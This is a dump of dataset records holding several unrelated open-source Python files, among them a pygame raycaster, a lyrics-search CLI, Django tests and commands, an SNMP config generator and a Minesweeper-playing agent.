center',ncol=2)\ntitle1 = 'It works???'\nplt.title(title1)\n ","repo_name":"EdBoone/MarineEco","sub_path":"Kot_da_comp.py","file_name":"Kot_da_comp.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"198293924","text":"import math\nimport pygame\nimport math as m\n\npygame.init()\n# GLOBAL VARIABLES\n\nscreen_height = 480 * 1.5\nscreen_width = 2 * screen_height\nscreen = pygame.display.set_mode((screen_width, screen_height))\npygame.display.set_caption('Raycasting')\nclock = pygame.time.Clock()\nfps = 30\nfov = math.pi /3\nhalf_fov = fov / 2\nplayer_angle = m.pi\ncasted_rays = 60\nstep_angle = fov / casted_rays\nscale = screen_width * 0.5 / casted_rays\nmap_size = 32\ntile_size = screen_width * 0.5 / map_size\nmax_depth = int(map_size * tile_size) + 150\nplayer_x = int(screen_height * 0.5)\nplayer_y = int(screen_height * 0.5)\nangle_gunSway = 0\n# colours\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\ngrey = (200, 200, 200)\ngrey_light = (100, 100, 100)\nred = (255, 0, 0)\ngreen = (0, 255, 0)\nblue = (0, 0, 255)\nyellow = (255, 255, 0)\n# TEXT FONT\nfont = pygame.font.SysFont('Monospace Regular', 30)\n# GUN\ngun = pygame.image.load('gun.webp')\ngunn = pygame.transform.scale(gun, (700, 350))\n\nmap = (\n '################################'\n '# #'\n '# # #'\n '# # #'\n '# ####### # #'\n '# # # # #'\n '# # # # #'\n '# # # # #'\n '# # # # #'\n '# # #'\n '# #'\n '# # #'\n '# ## # # #'\n '# # # #'\n '# # # #'\n '# # #'\n '# ####### # # #'\n '# # #'\n '# ## # #'\n '# ## # #'\n '# # #'\n '# ## # # #'\n '# # #'\n '# # # #'\n '# # # #'\n '# # ### #'\n '# # ### ## # #'\n '# # # #'\n '# # # #'\n '# ###### # #'\n '# #'\n '################################'\n\n)\n\n# DRAW MAP #\ndef draw_map():\n for row in range(32):\n for col in range(32):\n square = row * map_size + col\n pygame.draw.rect(screen, grey if map[square] == '#' else (100, 100, 100),(col * tile_size, row * tile_size, tile_size - 1, tile_size - 1))\n\n pygame.draw.circle(screen, red, (player_x, player_y), 2)\n pygame.draw.line(screen, green, (player_x, player_y),\n (player_x - m.sin(player_angle - half_fov) * 10,\n player_y + m.cos(player_angle - half_fov) * 10))\n pygame.draw.line(screen, green, (player_x, player_y),\n (player_x - m.sin(player_angle + half_fov) * 10,\n player_y + m.cos(player_angle + half_fov) * 10))\n\n# RAYCASTING ALGORITHM\ndef cast_rays():\n start_angle = player_angle - half_fov\n\n for ray in range(casted_rays):\n for depth in range(max_depth):\n target_x = player_x - m.sin(start_angle) * depth\n target_y = player_y + m.cos(start_angle) * depth\n col = int(target_x / tile_size)\n row = int(target_y / tile_size)\n square = row * map_size + col\n\n if map[square] == '#':\n # pygame.draw.rect(screen,green,(col * tile_size,row * tile_size,tile_size - 1,tile_size -1))\n colour = 255 / (1 + depth * depth * 0.0001)\n\n depth *= m.cos(player_angle - start_angle)\n\n wall_height = 22000 / (depth + 0.1)\n\n if wall_height > screen_height:\n wall_height = screen_height\n # draw 3d\n pygame.draw.rect(screen, (colour, colour, colour), (screen_height + ray * scale,\n (screen_height / 2) - wall_height / 2,\n scale, wall_height))\n break\n pygame.draw.line(screen, green, (player_x, player_y), (target_x, target_y), 1)\n\n start_angle += step_angle\n\n\nforward = True\n# game loop\nrun = True\nwhile run:\n clock.tick(fps)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n col = int(player_x / tile_size)\n row = int(player_y / tile_size)\n square = row * map_size + col\n\n if map[square] == '#':\n if forward:\n player_x -= (-m.sin(player_angle)) * 4\n player_y -= (m.cos(player_angle)) * 4\n else:\n player_x += (-m.sin(player_angle)) * 4\n player_y += (m.cos(player_angle)) * 4\n key = pygame.key.get_pressed()\n if key[pygame.K_a]:\n player_angle -= 0.1\n if key[pygame.K_d]:\n player_angle += 0.1\n if key[pygame.K_w]:\n forward = True\n player_x += (-m.sin(player_angle)) * 4\n player_y += (m.cos(player_angle)) * 4\n if key[pygame.K_s]:\n forward = False\n player_x -= (-m.sin(player_angle)) * 4\n player_y -= (m.cos(player_angle)) * 4\n\n\n # Floor and ceiling on right side\n pygame.draw.rect(screen, grey_light, (screen_width * 0.5, screen_height * 0.5, screen_width, screen_height))\n pygame.draw.rect(screen, grey, (screen_width * 0.5, 0, screen_width, screen_height * 0.5))\n\n screen.fill(white, (0, 0, screen_width * 0.5, screen_height))\n\n draw_map()\n cast_rays()\n fps_count = str(int(clock.get_fps()))\n fps_display = font.render(fps_count, True, blue)\n screen.blit(fps_display, (screen_width - 30, 0))\n screen.blit(gunn, (880 + (m.sin(angle_gunSway)) * 10, 400 + (m.sin(angle_gunSway)*m.cos(angle_gunSway)) * 10))\n angle_gunSway += 0.09\n pygame.display.update()\n","repo_name":"Stylianos-P/Raycasting","sub_path":"raycaster.py","file_name":"raycaster.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8403993825","text":"#!/usr/bin/env python\n\nimport asyncio\nimport json\nimport textwrap\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\nfrom typing import Any\n\nimport lyricsfinder\n\n_DEFAULT = object()\n\nconfig_location = Path.home() / \".lyricsfinder\"\n_config = None\n\n\ndef load_config() -> None:\n global _config\n\n if not config_location.is_file():\n raise FileNotFoundError(\"No .lyricsfinder file found in home directory!\")\n\n try:\n data = json.loads(config_location.read_text(\"utf-8\"))\n except json.JSONDecodeError:\n config_location.unlink()\n raise TypeError(\"Couldn't parse lyricsfinder config...\")\n else:\n if not isinstance(data, dict):\n raise TypeError(\"Wrong data type stored in config file\")\n\n _config = data\n\n\ndef save_config():\n config_location.write_text(json.dumps(_config), \"utf-8\")\n\n\ndef config_get(key: str, default=_DEFAULT) -> Any:\n if not _config:\n try:\n load_config()\n except FileNotFoundError:\n if default is _DEFAULT:\n raise\n return default\n\n value = _config.get(key, default)\n if value is _DEFAULT:\n raise KeyError(f\"Config doesn't have key {key}\")\n return value\n\n\ndef config_set(key: str, value: Any, *, flush=True) -> None:\n global _config\n\n if not _config:\n try:\n load_config()\n except FileNotFoundError:\n _config = {}\n\n _config[key] = value\n if flush:\n save_config()\n\n\ndef print_lyrics(lyrics: lyricsfinder.Lyrics) -> None:\n if not lyrics:\n return\n\n title = lyrics.title or \"Unknown\"\n artist = lyrics.artist or \"Unknown\"\n\n header = f\"{title} by {artist}\"\n if lyrics.release_date:\n header += f\" ({lyrics.release_date.year})\"\n\n width = max(len(header), 40)\n header = header.center(width)\n line = width * \"=\"\n\n lyrics_text = textwrap.fill(lyrics.lyrics, width, replace_whitespace=False, drop_whitespace=False)\n\n text = f\"{header}\\n\" \\\n f\"{line}\\n\" \\\n f\"{lyrics_text}\\n\" \\\n f\"\\n\" \\\n f\"from {lyrics.origin.source_name}\"\n\n print(text)\n\n\nasync def _search_first(query: str, api_key: str) -> lyricsfinder.Lyrics:\n return await lyricsfinder.search_lyrics(query, api_key=api_key)\n\n\ndef search(args: Namespace) -> None:\n api_key = args.token\n if api_key is None:\n api_key = config_get(\"google_api_key\", None)\n if not api_key:\n raise ValueError(\"No API key specified, and none saved!\")\n else:\n config_set(\"google_api_key\", api_key)\n\n query = \" \".join(args.query)\n lyrics = asyncio.run(_search_first(query, api_key=api_key))\n print_lyrics(lyrics)\n\n\ndef extract(args: Namespace) -> None:\n lyrics = asyncio.run(lyricsfinder.extract_lyrics(args.url))\n print_lyrics(lyrics)\n\n\ndef main(*args) -> None:\n args = args or None\n\n parser = ArgumentParser(\"lyricsfinder\", description=\"Find the lyrics you've always wanted to find\")\n subparsers = parser.add_subparsers()\n\n search_parser = subparsers.add_parser(\"search\")\n search_parser.set_defaults(func=search)\n search_parser.add_argument(\"query\", help=\"Query to search for\", nargs=\"+\")\n search_parser.add_argument(\"-t\", \"--token\", help=\"Google Search API key\")\n\n extract_parser = subparsers.add_parser(\"extract\")\n extract_parser.set_defaults(func=extract)\n extract_parser.add_argument(\"url\", help=\"Url to extract lyrics from\")\n\n args = parser.parse_args(args)\n\n if hasattr(args, \"func\"):\n args.func(args)\n else:\n parser.print_help()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gieseladev/LyricsFinder","sub_path":"lyricsfinder/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"29031666937","text":"\nfrom django.conf import settings\nfrom ujson import loads\n\nfrom intranet.wiki.tests.wiki_tests.common.unittest_base import BaseApiTestCase\n\n\nclass APIValidateTagTest(BaseApiTestCase):\n \"\"\"\n Тесты для TagValidationView.\n \"\"\"\n\n def setUp(self):\n super(APIValidateTagTest, self).setUp()\n self.setUsers()\n self.client.login('chapson')\n\n def _test(self, tag):\n request_url = '{api_url}/.validate_tag?tag={tag}'.format(api_url=self.api_url, tag=tag)\n response = self.client.get(request_url)\n\n self.assertEqual(200, response.status_code)\n\n parsed_data = loads(response.content)['data']\n return parsed_data['success']\n\n def test_valid(self):\n assert_queries = 44 if not settings.WIKI_CODE == 'wiki' else 2\n with self.assertNumQueries(assert_queries):\n self.assertTrue(self._test('valid:tag/tag-valid') is True)\n\n def test_invalid(self):\n request_url = '{api_url}/.validate_tag?tag={tag}'.format(api_url=self.api_url, tag='invalid tag/tag$invalid#')\n assert_queries = 44 if not settings.WIKI_CODE == 'wiki' else 2\n with self.assertNumQueries(assert_queries):\n response = self.client.get(request_url)\n self.assertEqual(409, response.status_code)\n\n def test_without_tag_parameter(self):\n request_url = '{api_url}/.validate_tag'.format(api_url=self.api_url)\n assert_queries = 44 if not settings.WIKI_CODE == 'wiki' else 2\n with self.assertNumQueries(assert_queries):\n response = self.client.get(request_url)\n self.assertEqual(409, response.status_code)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/wiki_tests/unit_unittest/api_frontend/test_validate.py","file_name":"test_validate.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43476937435","text":"import lib\n\n\ndef parse_v3(secret):\n config = {\n 'sec_level': 'authPriv',\n 'version': 3\n }\n if 'aes' in secret['privtype'].lower():\n config['priv_proto'] = 'AES'\n else:\n config['priv_proto'] = 'DES'\n if 'sha' in secret['authtype'].lower():\n config['auth_proto'] = 'SHA'\n else:\n config['auth_proto'] = 'MD5'\n config['priv'] = '\"' + secret['priv'].replace('\"', '\\\\\"') + '\"'\n config['auth'] = '\"' + secret['auth'].replace('\"', '\\\\\"') + '\"'\n config['user'] = '\"' + secret['user'].replace('\"', '\\\\\"') + '\"'\n return config\n\n\ndef parse_v2(secret):\n config = {\n 'version': 2,\n 'community': '\"' + secret['ro'].replace('\"', '\\\\\"') + '\"',\n }\n return config\n\n\ndef generate(host):\n \"\"\"Args is the layers we should probe.\"\"\"\n domain = lib.get_domain(host)\n layers = lib.get_layers(domain)\n if domain == 'EVENT':\n mount = '%s-mgmt' % lib.get_current_event()\n else:\n mount = 'mgmt'\n\n info = {}\n info['layers'] = {}\n # Only configure layers that we should probe\n for layer in layers:\n config = {\n 'port': 161,\n }\n secret = lib.read_secret('%s/%s' % (mount, 'snmpv3:%s' % layer))\n if secret:\n try:\n config.update(parse_v3(secret))\n except KeyError:\n # F-up, invalid layer config\n continue\n else:\n secret = lib.read_secret('%s/%s' % (mount, 'snmpv2:%s' % layer))\n if not secret:\n # F-up, no layer config\n continue\n config.update(parse_v2(secret))\n info['layers'][layer] = config\n return {'snmpexporter': info}\n\n# vim: ts=4: sts=4: sw=4: expandtab\n","repo_name":"dhtech/puppet-modules","sub_path":"modules/snmpexporter.py","file_name":"snmpexporter.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"2287006288","text":"#https://www.acmicpc.net/problem/13913\nfrom collections import deque\nN,K=map(int, input().split())\ndx=[-1,1,2]\n\ndef bfs():\n global N,K,dx\n dq=deque()\n #5, 5 1, 5 1 3, 5 1 3 7 처럼 중복되는 내용의 문자열이 계속해서 dq에 저장될 수 있다. 그래서 메모리 초과가 발생하는듯?\n dq.append([N,str(N)+' ',0])\n while dq:\n curX, curRoute, curCount=dq.popleft()\n if curX==K:\n print(curCount)\n print(curRoute)\n return\n for i in range(len(dx)):\n if i<2:\n newX=curX+dx[i]\n else:\n newX=curX*dx[i]\n if newX<0 or newX>=100000:\n continue\n dq.append([newX, curRoute+str(newX)+' ', curCount+1])\n\nbfs()","repo_name":"Myunwoo/algorithm_study","sub_path":"20220101fail.py","file_name":"20220101fail.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39451075195","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author :Alvin.Xie\n# @Time :2017/10/30 21:48\n# @File :mysort.py\n\n# 把一个数字的list从小到大排序,然后写入文件,\n# 然后再从文件中读取出来文件内容,反序排列,再追加到文件的下一行中\nimport codecs\n\nimport re\n\nlists = [2, 32, 43, 453, 54, 6, 576, 5, 7, 6, 8, 78, 7, 89]\n\n\ndef fanxu(lists):\n count = len(lists)\n for i in range(0, count):\n for j in range(i + 1, count):\n if lists[i] < lists[j]:\n lists[i], lists[j] = lists[j], lists[i]\n fo = open(\"sort.txt\", \"a\")\n fo.write('\\n')\n fo.write(str(lists))\n fo.close()\n\n\ndef asort(alist):\n blist = sorted(lists)\n writefile(str(blist))\n\n\ndef readfile():\n fo = codecs.open(\"sort.txt\", \"r\")\n for line in fo.readlines():\n line = line.strip()\n find_lst = re.findall('\\[(.*?)\\]', line)\n result = find_lst[0].strip(',').split(',')\n blist = map(eval, result)\n # paixu(blist)\n fo.close()\n fanxu(blist)\n\n\ndef writefile(afile):\n fo = open(\"sort.txt\", \"w\")\n fo.write(afile)\n fo.close()\n\n\nif __name__ == '__main__':\n asort(lists)\n readfile()\n","repo_name":"ahtornado/study-python","sub_path":"day10/mysort.py","file_name":"mysort.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35100107960","text":"import abc\nimport re\n\nfrom collections import namedtuple\n\nfrom infra.libs import infra_types\n\n\nRECIPE_MODULE_PREFIX = 'RECIPE_MODULES'\n\n\ndef ResetTostringFns():\n RecipeConfigType._TOSTRING_MAP.clear() # pylint: disable=W0212\n\n\ndef json_fixup(obj):\n if isinstance(obj, RecipeConfigType):\n return str(obj)\n thawed = infra_types.thaw(obj)\n if thawed is not obj: # i.e. it was a frozen type\n return thawed\n raise TypeError(\"%r is not JSON serializable\" % obj)\n\n\nclass RecipeConfigType(object):\n \"\"\"Base class for custom Recipe config types, intended to be subclassed.\n\n RecipeConfigTypes are meant to be PURE data. There should be no dependency on\n any external systems (i.e. no importing sys, os, etc.).\n\n The subclasses should override default_tostring_fn. This method should\n produce a string representation of the object. This string representation\n should contain all of the data members of the subclass. This representation\n will be used during the execution of the recipe_config_tests.\n\n External entities (usually recipe modules), can override the default\n tostring_fn method by calling .set_tostring_fn(). This new method will receive an\n instance of the RecipeConfigType subclass as its single argument, and is\n expected to return a string. There is no restriction on the data that the\n override tostring_fn may use. For example, the Path class in this module has\n its tostring_fn overridden by the 'path' recipe_module. This new tostring_fn\n uses data from the current recipe run, like the host os, to return platform\n specific strings using the data in the Path object.\n \"\"\"\n _TOSTRING_MAP = {}\n\n @property\n def tostring_fn(self):\n cls = self.__class__\n return self._TOSTRING_MAP.get(cls.__name__, cls.default_tostring_fn)\n\n @classmethod\n def set_tostring_fn(cls, new_tostring_fn):\n assert cls.__name__ not in cls._TOSTRING_MAP, (\n 'tostring_fn already installed for %s' % cls)\n cls._TOSTRING_MAP[cls.__name__] = new_tostring_fn\n\n def default_tostring_fn(self):\n raise NotImplementedError\n\n def __str__(self):\n return self.tostring_fn(self) # pylint: disable=not-callable\n\n\nclass BasePath(object):\n __metaclass__ = abc.ABCMeta\n\n\nclass NamedBasePath(BasePath, namedtuple('NamedBasePath', 'name')):\n # Restrict basenames to '[ALL_CAPS]'. This will help catch\n # errors if someone attempts to provide an actual string path '/some/example'\n # as the 'base'.\n BASE_RE = re.compile(r'\\[([A-Z][A-Z_]*)\\]')\n\n @staticmethod\n def parse(base):\n base_match = NamedBasePath.BASE_RE.match(base)\n assert base_match, 'Base should be [ALL_CAPS], got %r' % base\n return NamedBasePath(base_match.group(1).lower())\n\n def __repr__(self):\n return '[%s]' % self.name.upper()\n\n\nclass ModuleBasePath(BasePath, namedtuple('ModuleBasePath', 'module')):\n def __repr__(self):\n prefix = '%s.' % RECIPE_MODULE_PREFIX\n assert self.module.__name__.startswith(prefix)\n name = self.module.__name__[len(prefix):]\n return 'RECIPE_MODULE[%s]' % name\n\n\nclass Path(RecipeConfigType):\n \"\"\"Represents a path which is relative to a semantically-named base.\n\n Because there's a lot of platform (separator style) and runtime-specific\n context (working directory) which goes into assembling a final OS-specific\n absolute path, we only store three context-free attributes in this Path\n object.\n \"\"\"\n\n def __init__(self, base, *pieces, **kwargs):\n \"\"\"Creates a Path\n\n Args:\n base (str) - The 'name' of a base path, to be filled in at recipe runtime\n by the 'path' recipe module.\n pieces (tuple(str)) - The components of the path relative to base. These\n pieces must be non-relative (i.e. no '..' or '.', etc. as a piece).\n\n Kwargs:\n platform_ext (dict(str, str)) - A mapping from platform name (as defined\n by the 'platform' module), to a suffix for the path.\n \"\"\"\n super(Path, self).__init__()\n assert all(isinstance(x, basestring) for x in pieces), pieces\n assert not any(x in ('..', '.', '/', '\\\\') for x in pieces)\n self.pieces = pieces\n\n if isinstance(base, BasePath):\n self.base = base\n elif isinstance(base, basestring):\n self.base = NamedBasePath.parse(base)\n else:\n raise ValueError('%s is not a valid base path' % base)\n\n self.platform_ext = kwargs.get('platform_ext', {})\n\n def __eq__(self, other):\n return (self.base == other.base and\n self.pieces == other.pieces and\n self.platform_ext == other.platform_ext)\n\n def __ne__(self, other):\n return not self.base == other\n\n def join(self, *pieces, **kwargs):\n kwargs.setdefault('platform_ext', self.platform_ext)\n return Path(self.base, *filter(bool, self.pieces + pieces), **kwargs)\n\n def is_parent_of(self, child):\n \"\"\"True if |child| is in a subdirectory of this path.\"\"\"\n # Assumes base paths are not nested.\n # TODO(vadimsh): We should not rely on this assumption.\n if self.base != child.base:\n return False\n # A path is not a parent to itself.\n if len(self.pieces) >= len(child.pieces):\n return False\n return child.pieces[:len(self.pieces)] == self.pieces\n\n def default_tostring_fn(self):\n suffix = ''\n if self.platform_ext:\n suffix = ', platform_ext=%r' % (self.platform_ext,)\n pieces = ''\n if self.pieces:\n pieces = ', ' + (', '.join(map(repr, self.pieces)))\n return 'Path(\\'%s\\'%s%s)' % (self.base, pieces, suffix)\n","repo_name":"luqui/recipe_engine","sub_path":"config_types.py","file_name":"config_types.py","file_ext":"py","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6811855288","text":"# ==============================CS-199==================================\n# FILE:\t\t\tMyAI.py\n#\n# AUTHOR: \t\tJustin Chung\n#\n# DESCRIPTION:\tThis file contains the MyAI class. You will implement your\n#\t\t\t\tagent in this file. You will write the 'getAction' function,\n#\t\t\t\tthe constructor, and any additional helper functions.\n#\n# NOTES: \t\t- MyAI inherits from the abstract AI class in AI.py.\n#\n#\t\t\t\t- DO NOT MAKE CHANGES TO THIS FILE.\n# ==============================CS-199==================================\n\nfrom AI import AI\nfrom Action import Action\nfrom collections import Counter\n\n\nclass Tile():\n\n def __init__(self, location: tuple = (None, None), hint: int = '.', mine: bool = False, isCovered: bool = True, isFlagged: bool = False):\n self.mine = mine\n self.isCovered = isCovered\n self.isFlagged = isFlagged\n self.hint = hint\n self.location = location\n self.x = location[0]\n self.y = location[1]\n #print([self.x, self.y])\n\n\n def getHint(self) -> int:\n return self.hint\n\n def setHint(self, num: int):\n self.hint = num\n \n def uncoverTile(self):\n self.isCovered = False\n\n\nclass Constrain:\n def __init__(self, suspectTile=list(), hint=0):\n self.suspectTile = suspectTile\n self.hint = hint\n\n def __eq__(self, other):\n def compare(x, y): return Counter(x) == Counter(y)\n if compare(self.suspectTile, other.suspectTile) and self.hint == other.hint:\n return True\n\n else:\n return False\n\n def compare(self, another_constrain):\n \n new_constrain = Constrain()\n isSubset = True\n this_constrain = self\n \n for variable in set(this_constrain.suspectTile):\n if variable not in set(another_constrain.suspectTile):\n isSubset = False\n break\n \n if isSubset:\n new_constrain.suspectTile = list(set(another_constrain.suspectTile) - set(this_constrain.suspectTile))\n new_constrain.hint = another_constrain.hint - this_constrain.hint\n \n return new_constrain\n\nclass MyAI(AI):\n\n def __init__(self, rowDimension, colDimension, totalMines, startX, startY):\n\n ########################################################################\n\t\t#\t\t\t\t\t\t\tYOUR CODE BEGINS\t\t\t\t\t\t #\n\t\t########################################################################\n # Edited by Y. Song and J. Ling at 2021.07.10\n\n self.rowDimension = rowDimension\n self.colDimension = colDimension\n self.totalMines = totalMines\n self.startX = startX\n self.startY = startY\n\n self.tiles = list() # A list contains all tiles\n self.exploredTiles = list() # Already explored tiles\n self.unexploredTiles = list() # Not yet explored\n\n self.safeTiles = list() # Hint = 0\n self.flaggedTiles = list() # Suspected Mines\n\n self.curTile = Tile() \n\n self.firstStep = True\n\n self.whenToLeaveCounter = rowDimension * colDimension - totalMines\n self.numMines = 0\n\n for row in reversed(range(rowDimension)):\n tileRow = list()\n for col in range(colDimension):\n tileRow.append(Tile(location=(col, row)))\n self.tiles.append(tileRow)\n\n for row in self.tiles:\n for tile in row:\n self.unexploredTiles.append(tile)\n \n ########################################################################\n\t #\t\t\t\t\t\t\tYOUR CODE ENDS\t\t\t\t\t\t\t #\n\t ########################################################################\n\n\n def getAction(self, number: int) -> \"Action Object\":\n\n ########################################################################\n\t\t#\t\t\t\t\t\t\tYOUR CODE BEGINS\t\t\t\t\t\t #\n\t\t########################################################################\n # Edited by Y. Song and J. Ling at 2021.07.10\n\n if self.firstStep:\n self.firstStep = False\n \n self.curTile = self.tiles[self.rowDimension - 1 - self.startY][self.startX]\n self.whenToLeaveCounter -= 1\n self.unexploredTiles.remove(self.curTile)\n self.exploredTiles.append(self.curTile)\n return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n self.curTile.setHint(number)\n\n if (number == 0):\n\t\t\t#Append uncovered tiles to list\n #self.safeTiles.append(self.curTile)\n\n\t\t\t# Uncover all tiles around safe tile\n tilesAroundCurrent = self.findNeighbours(self.curTile.x, self.curTile.y)\n\n\t\t\t# Ensure action in bound\n for tile in tilesAroundCurrent:\n if tile.x >= 0 and tile.x < self.rowDimension and tile.y >= 0 and tile.y < self.colDimension and tile not in self.safeTiles and tile not in self.exploredTiles and tile not in self.flaggedTiles:\n self.safeTiles.append(tile)\n '''print(\"append tile:\")\n print([tile.x + 1, tile.y + 1])'''\n tile.uncoverTile()\n self.tiles[self.rowDimension - 1 - tile.y][tile.x] = tile\n\n # Uncover all the safe tiles\n if self.safeTiles:\n self.curTile = self.safeTiles.pop()\n self.exploredTiles.append(self.curTile)\n self.unexploredTiles.remove(self.curTile)\n self.whenToLeaveCounter -= 1\n\n return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n elif self.flaggedTiles:\n self.curTile = self.flaggedTiles.pop()\n self.exploredTiles.append(self.curTile)\n self.unexploredTiles.remove(self.curTile)\n self.curTile.isFlagged = True\n self.numMines += 1\n\n return Action(AI.Action.FLAG, self.curTile.x, self.curTile.y)\n\n # No more safe tiles\n else:\n for tile in self.exploredTiles:\n if tile.getHint() > 0:\n \n flag_Tile = []\n covered_Tile = []\n tilesAroundCurrent = self.findNeighbours(tile.x, tile.y)\n for tilex in tilesAroundCurrent:\n if tilex.getHint() == '.':\n '''print(\"Append covered_Tile\")\n print([tilex.x + 1, tilex.y + 1])'''\n covered_Tile.append(tilex)\n elif tilex.getHint() == -1:\n '''print(\"Append flag_Tile\")\n print([tilex.x + 1, tilex.y + 1])'''\n flag_Tile.append(tilex)\n \n '''if tile.getHint() == len(covered_Tile) + len(flag_Tile) and len(covered_Tile) != 0:\n for y in covered_Tile:\n self.flaggedTiles.append(y)\n \n elif tile.getHint() == len(flag_Tile) and len(covered_Tile) != 0:\n for y in covered_Tile:\n self.safeTiles.append(y)'''\n\n if tile.getHint() == len(covered_Tile) + len(flag_Tile) and len(covered_Tile) != 0:\n\n self.curTile = covered_Tile.pop()\n self.exploredTiles.append(self.curTile)\n self.unexploredTiles.remove(self.curTile)\n self.curTile.flag = True\n self.numMines += 1\n '''print(\"Flag Tile 195\")\n print([self.curTile.x + 1, self.curTile.y + 1])'''\n\n return Action(AI.Action.FLAG, self.curTile.x, self.curTile.y)\n\n else:\n\n if tile.getHint() == len(flag_Tile) and len(covered_Tile) != 0:\n self.safeTiles.extend(covered_Tile)\n self.curTile = self.safeTiles.pop()\n self.exploredTiles.append(self.curTile)\n self.unexploredTiles.remove(self.curTile)\n self.whenToLeaveCounter -= 1\n '''print(\"Uncover Tile 208\")\n print([self.curTile.x + 1, self.curTile.y + 1])'''\n\n return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n constrains = list()\n\n for tile in self.exploredTiles:\n frontier = False\n flag_count = 0\n neighbors = self.findNeighbours(tile.x, tile.y)\n suspectTile = list()\n\n for neighbor in neighbors:\n if neighbor.getHint() == '.':\n frontier = True\n suspectTile.append(neighbor)\n\n if neighbor.getHint() == -1:\n flag_count += 1\n\n if frontier and tile.getHint() != -1:\n cs = Constrain(suspectTile, tile.getHint() - flag_count)\n constrains.append(cs)\n\n constrains = self.solveConstrain(constrains)\n extracted = self.extract(constrains)\n\n for cs in extracted:\n if cs.hint == 1:\n self.flaggedTiles.extend(cs.suspectTile)\n\n elif cs.hint == 0:\n self.safeTiles.extend(cs.suspectTile)\n\n if self.safeTiles:\n self.curTile = self.safeTiles.pop()\n self.exploredTiles.append(self.curTile)\n self.unexploredTiles.remove(self.curTile)\n self.whenToLeaveCounter -= 1\n\n return Action(AI.Action.UNCOVER, self.curTile.x, self.curTile.y)\n\n if self.numMines == self.totalMines:\n return Action(AI.Action.LEAVE)\n\n\n return Action(AI.Action.LEAVE)\n\n ########################################################################\n\t #\t\t\t\t\t\t\tYOUR CODE ENDS\t\t\t\t\t\t\t #\n\t ########################################################################\n\n # returns neighbours' locationations\n def findNeighbours(self, x, y) -> list:\n\n neighbours = []\n for neighbour_x in range (x - 1, x + 2):\n for neighbour_y in range (y - 1, y + 2):\n if 0 <= neighbour_x < self.rowDimension and 0 <= neighbour_y < self.colDimension and not(x == neighbour_x and y == neighbour_y):\n neighbours.append(self.tiles[self.rowDimension - 1 - neighbour_y][neighbour_x])\n\n return neighbours\n \n def solveConstrain(self, constrains):\n\n for cs1 in constrains:\n for cs2 in constrains:\n\n cs = cs1.compare(cs2)\n\n if cs not in constrains and cs.suspectTile:\n constrains.append(cs)\n\n if len(cs.suspectTile) == cs.hint:\n for i in range(len(cs.suspectTile)):\n cs_new = Constrain([cs.suspectTile[i]], 1)\n if cs_new not in constrains and cs_new.suspectTile:\n constrains.append(cs_new)\n\n if len(cs.suspectTile) > 0 and cs.hint == 0:\n for i in range(len(cs.suspectTile)):\n cs_new = Constrain([cs.suspectTile[i]], 0)\n if cs_new not in constrains and cs_new.suspectTile:\n constrains.append(cs_new)\n\n return constrains\n\n def extract(self, constrains):\n extracted = list()\n for cs in constrains:\n if len(cs.suspectTile) == 1:\n extracted.append(cs)\n\n return extracted","repo_name":"Kastorp-S/COMPSCI171","sub_path":"Minesweeper_Python/src/MyAI.py","file_name":"MyAI.py","file_ext":"py","file_size_in_byte":11557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9640917534","text":"from django.core.management.base import BaseCommand, CommandError\n\nfrom users.models import User\nfrom cotisations.models import Facture\nfrom preferences.models import OptionalUser\nfrom datetime import timedelta\n\nfrom django.utils import timezone\n\n\nclass Command(BaseCommand):\n help = \"Disable users who haven't confirmed their email.\"\n\n def handle(self, *args, **options):\n \"\"\"First deleting invalid invoices, and then deleting the users\"\"\"\n days = OptionalUser.get_cached_value(\"disable_emailnotyetconfirmed\")\n users_to_disable = (\n User.objects.filter(email_state=User.EMAIL_STATE_PENDING)\n .filter(email_change_date__lte=timezone.now() - timedelta(days=days))\n .distinct()\n )\n print(\"Disabling \" + str(users_to_disable.count()) + \" users.\")\n\n for user in users_to_disable:\n user.email_state = User.EMAIL_STATE_UNVERIFIED\n user.notif_disable()\n user.save()\n","repo_name":"Re2o/re2o","sub_path":"users/management/commands/disable_emailnotyetconfirmed.py","file_name":"disable_emailnotyetconfirmed.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
